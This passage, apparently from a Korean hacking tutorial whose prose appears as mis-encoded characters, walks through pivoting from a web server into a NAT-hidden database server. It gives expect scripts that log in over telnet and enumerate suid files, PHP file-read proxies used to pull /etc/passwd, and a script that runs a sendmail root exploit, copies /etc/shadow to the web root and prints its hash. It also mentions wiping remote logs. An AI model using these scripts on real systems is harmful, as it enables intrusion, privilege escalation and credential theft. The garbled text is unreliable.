beist [127.0.0.1] 3306 (mysql) open
beist [127.0.0.1] 80 (http) open
beist [127.0.0.1] 25 (sendmail) open
beist [127.0.0.1] 23 (telnet) open
beist [127.0.0.1] 22 (ssh) open
beist [127.0.0.1] 21 (ftp) open
23 ¹ø telnet À» ÀÌ¿ëÇÏ¿©¼ login À» ½ÃµµÇÏ°Ú½À´Ï´Ù. ±×¸®°í login ÈÄ¿¡ ¼¹öÀÇ
find / -perm -4000 ¸í·ÉÀ¸·Î suid °¡ °É¸° ÆÄÀϵéÀ» ã°í, ±× °ÍÀ» ÀúÀå½ÃÅ°´Â
expect ¸¦ ¾Ë¾Æº¸°Ú½À´Ï´Ù.
attack2.exp
------------------------------------------------------------
#!/usr/bin/expect
spawn telnet 192.168.0.112
expect -re "login:"
send "beist\n"
expect -re "assw"
send "beist.org\n"
expect -re "Last login"
send "find / -perm -4000 > /usr/local/apache/htdocs/perm.txt &\n"
sleep 1
send "exit\n"
interact
------------------------------------------------------------
http://WEB¼¹ö/beist.php?beist=./attack2.exp
attack2.exp °¡ Á¤»óÀûÀ¸·Î ÁøÇàµÇ¾ú´Ù¸é, DATABASE ÀÇ
/usr/local/apache/htdocs/perm.txt ÆÄÀÏ¿¡´Â DATABASE ¼¹ö ³»ÀÇ suid ÆÄÀÏ
¸®½ºÆ®°¡ ÀúÀåµÉ °ÍÀÔ´Ï´Ù. ´ÙÀ½ ÆÄÀÏÀ» WEB ¼¹ö¿¡ ¿Ã·Áº¸°Ú½À´Ï´Ù.
read.php
------------------------------------------------------------
<?
if(!$file)
{
echo "file º¯¼ö¸¦ ÀÔ·ÂÇØ ÁÖ¼¼¿ä.";
exit;
}
$fd = fopen("http://192.168.0.112/".$file, "r");
while ($buffer = fgets($fd, 4096)) {
echo $buffer;
}
fclose($fd);
?>
------------------------------------------------------------
ÀÌ ÆÄÀÏÀ» WEB ¼¹ö¿¡ ¿Ã·Á³õ¾ÒÀ¸¸é ´ÙÀ½°ú °°Àº Çü½ÄÀ¸·Î DATABASE ¼¹öÀÇ À¥
ÆÄÀϵéÀ» º¼ ¼ö ÀÖ½À´Ï´Ù.
http://WEB¼¹ö/read.php?file=perm.txt
[°á°ú]
/usr/bin/suidperl
/usr/bin/sperl5.6.0
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/crontab
/usr/bin/rcp
/usr/bin/rlogin
/usr/bin/rsh
/usr/bin/sudo
/usr/sbin/ping6
/usr/sbin/traceroute6
/usr/sbin/sendmail
/* »ý·« */
DATABASE ¼¹öÀÇ À¥ µð·ºÅ丮¿¡ ³õÀÎ ÆÄÀϸ¸ º¸·Á´Â °ÍÀÌ ¾Æ´Ï¶ó ´Ù¸¥ ÆÄÀϵ鵵
ÆíÇÏ°Ô º¸·Á¸é, DATABASE ¼¹öÀÇ À¥ µð·ºÅ丮¿¡ ´ÙÀ½°ú °°Àº ÆÄÀÏÀ» ¸¸µé¾îµÓ´Ï´Ù.
read2.php
------------------------------------------------------------
<?
if(!$file)
{
echo "file º¯¼ö¸¦ ÀÔ·ÂÇØ ÁÖ¼¼¿ä.";
exit;
}
$fd = fopen("$file", "r");
while ($buffer = fgets($fd, 4096)) {
echo $buffer;
}
fclose($fd);
?>
------------------------------------------------------------
±×¸®°í WEB ¼¹ö¿¡ ³õÀÎ read.php ¿¡¼
$fd = fopen("http://192.168.0.112/".$file, "r");
¹®ÀåÀ»
$fd = fopen("http://192.168.0.112/read2.php?file=".$file, "r");
·Î °íÃÄÁÖ°í
http://WEB¼¹ö/read.php?file=/etc/passwd
¸¦ ÇÑ´Ù¸é, DATABASE ¼¹ö ³»ÀÇ /etc/passwd ÆÄÀÏÀ» º¼ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. ÀÌ·±
½ÄÀ¸·Î Á¶±Ý¸¸ º¯ÇüÇϸé DATABASE ¼¹ö·Î ¹Ù·Î Nobody ¸í·ÉÀ» ³»¸± ¼öµµ ÀÖ½À´Ï´Ù.
ÀÌ ¹®¼´Â ÀÌ°Ô ÁßÁ¡ÀÌ µÇ´Â ³»¿ëÀÌ ¾Æ´Ï´Ï ÀÌ·±½ÄÀ¸·Î ÀÛ¾÷À» ÁøÇàÇÒ ¼ö ÀÖ´Ù´Â
°Í¸¸ ¾Ë¾ÆµÓ½Ã´Ù. ¾î·°Å³ª perm.txt ÆÄÀÏÀ» º¸¸é DATABASE ¼¹ö ³»¿¡ ¾î¶² suid °¡
Á¸ÀçÇÏ´ÂÁö ¾Ë ¼ö ÀÖ½À´Ï´Ù.
¿ì¸®´Â sendmail À» target À¸·Î »ï¾Æ °ø°ÝÀ» ½ÃµµÇغ¸°Ú½À´Ï´Ù. -1- ¿¡¼
µ¥¸óÀÇ ¹öÀüÀ» ¾Ë¾Æº» ¹æ¹ýÀ¸·Î DATABASE ¼¹öÀÇ sendmail ÀÇ ¹öÀüÀ» ¾Ë¾Æº» °á°ú
8.11.5 ¿´½À´Ï´Ù. 8.11.5 ¹öÀü¿¡´Â Å©·¡Ä¿¿¡°Ô root ¸¦ ÁÙ ¼ö ÀÖ´Â Ãë¾à¼ºÀÌ °ø°³µÈ
»óÅÂÀÔ´Ï´Ù.
sendmail À» °ø°ÝÇÏ´Â exploit À¸·Î sd@sf.cz °¡ ¸¸µç exploit À» ÀÌ¿ëÇغ¸°Ú½À´Ï´Ù.
Å×½ºÆ® Çغ¸½Ç ºÐµéÀ» À§ÇØ http://beist.org/data1/data/sendmail-exp.c ¿¡ exploit
À» ¿Ã·Á³õ°Ú½À´Ï´Ù.
sendmail-exp.c ÆÄÀÏÀ» DATABASE ¼¹ö¿¡ a.c ¶ó´Â ÆÄÀÏ·Î ¸¸µé¾îµÓ´Ï´Ù. ±×¸®°í
WEB ¼¹ö¿¡ attack3.exp ÆÄÀÏÀ» ¿Ã¸³´Ï´Ù.
attack3.exp
------------------------------------------------------------
#!/usr/bin/expect
spawn telnet 192.168.0.112
expect -re "login:"
send "beist\n"
# id ÀÔ·Â
expect -re "assw"
send "beist.org\n"
# password ÀÔ·Â
expect -re "Last login"
send "gcc -o a a.c\n"
# login ÈÄ¿¡ ÄÄÆÄÀÏ
expect -re "entering rootshell"
send "cp /etc/shadow /usr/local/apache/htdocs/shadow.txt\n"
send "chmod 755 /usr/local/apache/htdocs/shadow.txt\n"
send "echo imbeist > /tmp/beist\n"
# ¿©·¯°¡Áö ÈçÀû ³²±â±â ÀÛ¾÷µé
sleep 1
send "exit\n"
interact
------------------------------------------------------------
±×¸®°í ´ÙÀ½°ú °°ÀÌ ½ÇÇàÇÕ´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=./attack3.exp
attack3.exp ÀÌ Á¤»óÀûÀ¸·Î DATABASE ¼¹ö¿¡ Á¢¼ÓÇÏ°í, exploit ÀÌ ¼º°øÇÏ¿©
root ¸¦ ȹµæÇÏ¿´´Ù¸é /etc/shadow ÆÄÀÏÀ» À¥ µð·ºÅ丮¿¡ Ä«ÇÇÇÏ°í,
/tmp/beist ¿¡ imbeist ¶ó´Â ÆÄÀÏ ³»¿ëÀ» ¸¸µé¾î µÑ °ÍÀÔ´Ï´Ù. ½ÇÁ¦·Î
¸¸µé¾îÁ³´ÂÁö È®ÀÎÇÏ¿©º¸°Ú½À´Ï´Ù.
http://WEB¼¹ö/read.php?file=shadow.txt
[°á°ú]
root:$1$DZfS/9N.$gq0dfkxckvnmfXqHsI/:11887:0:99999:7:::
bin:*:11887:0:99999:7:::
daemon:*:11887:0:99999:7:::
adm:*:11887:0:99999:7:::
lp:*:11887:0:99999:7:::
sync:*:11887:0:99999:7:::
shutdown:*:11887:0:99999:7:::
halt:*:11887:0:99999:7:::
mail:*:11887:0:99999:7:::
news:*:11887:0:99999:7:::
uucp:*:11887:0:99999:7:::
operator:*:11887:0:99999:7:::
/* »ý·« */
shadow.txt ÆÄÀÏÀÌ ¼º°øÀûÀ¸·Î »ý¼ºµÈ °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ¿ì¸®´Â ÀÌ·± ½ÄÀ¸·Î
NAT ¹æ½Ä¿¡¼ ÇØÅ·À» ¼º°øÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. ¸¸¾à °¡´ÉÇÏ´Ù¸é ¹æȺ®À» ÇØÁ¦ÇÏ°í term
µîÀ» ¶ç¿ì´Â °ÍÀÌ ÁÁÀ» °ÍÀÔ´Ï´Ù.
- ¸¶Ä¡¸é¼ -
¾Æ¹«¸® ¸í·É¾î¸¦ ³»¸®±â Èûµé°í ¿¾ÇÇÑ Shell ȯ°æÀ̶ó ÇÒÁö¶óµµ, ´Ü ÇÑ ¸í·É¾î¸¸
½ÇÇàÀÌ °¡´ÉÇÏ´Ù¸é ¾î¶»°Ôµç ÇØÅ·À» ÇÏ´Â °ÍÀÌ °¡´ÉÇÏ´Ù´Â °ÍÀ» À§ÀÇ »óȲ¿¡¼
º¼ ¼ö ÀÖ¾ú½À´Ï´Ù.
¹°·Ð À§ »óȲÀº Á¶±Ý¸¸ º¯°æÇÑ´Ù¸é NAT °¡ ¾Æ´Ñ ³×Æ®¿öÅ©ÀÇ È¯°æ¿¡¼µµ Àû¿ëµÇ´Â
±â¼úÀÔ´Ï´Ù. 'NAT ¹æ½ÄÀº °¡»ó IP ü°è·Î µ¹¾Æ°¡¹Ç·Î ÇØÅ·¿¡ ¾ÈÀüÇÏ´Ù.' ¶ó´Â
°ÍÀº À߸øµÈ »ý°¢À̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.
ÀÌ·± ¹æ½ÄÀ¸·Î ¼¹öÀÇ ¼¹ö¸¦ °ÅÃļ µé¾î°¡´Â ÇØÅ·À» ÇØÄ¿µé³¢¸®´Â ÈçÈ÷
'Ÿ°í µé¾î°£´Ù.' ¶ó´Â Àº¾î·Î Ç¥ÇöÇÕ´Ï´Ù. ÀúÀÇ ¿¾³¯ °æÇèÀ» ¸»¾¸µå¸®ÀÚ¸é
3 °³ÀÇ ¼¹ö¸¦ Ÿ°í µé¾î°¡¾ß ÇÏ´Â »óȲÀÌ ÀÖ¾ú½À´Ï´Ù. ¹°·Ð ºÒ¹ýÀº ¾Æ´Ï¾ú°í¿ä.
±× ³×Æ®¿öÅ©µµ NAT ¹æ½ÄÀ̾ú´Âµ¥, NAT ¿¡ ¶Ç »ç¼³ ³×Æ®¿öÅ©¸¦ ±¸ÃàÇÏ¿© »ç¿ëÇÏ´Â
°÷À̶ó, ¶Ç Ÿ°í µé¾î°¥ ¼ö ¹Û¿¡ ¾ø¾ú½À´Ï´Ù.
À§ ¹æ¹ýÀº Á÷Á¢ÀûÀ¸·Î Term µîÀ» ¶ç¿ö¼ ÇÏ´Â ÀÛ¾÷º¸´Ù ºÒÆíÇÑ °ÍÀº »ç½ÇÀÌÁö¸¸,
Term À» ¸ø ¶ç¿ì´õ¶óµµ, Term ¿¡¼ ÇÏ´Â °ÅÀÇ ¸ðµç ÀÏÀÌ °¡´ÉÇÕ´Ï´Ù. ¶Ç, ¹°·Ð
ÀÌ °ÍÀº ÇØÅ·¸¸ÀÌ ¾Æ´Ï¶ó ¿ø°Ý ¼¹ö¿¡ ÀÖ´Â ·Î±×¸¦ Áö¿ì°Å³ª ÇÒ ¶§³ª ±âŸ ´Ù¸¥
ÀÛ¾÷À» ÇÒ ¶§³ª ¸ðµç ºÎºÐ¿¡ ÀÀ¿ëÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù.
NAT ³×Æ®¿öÅ© ȯ°æ¿¡¼ÀÇ ÇØÅ· ¹æ¹ý¿¡ ´ëÇؼ ¾Ë¾Æº¸¾Ò½À´Ï´Ù.
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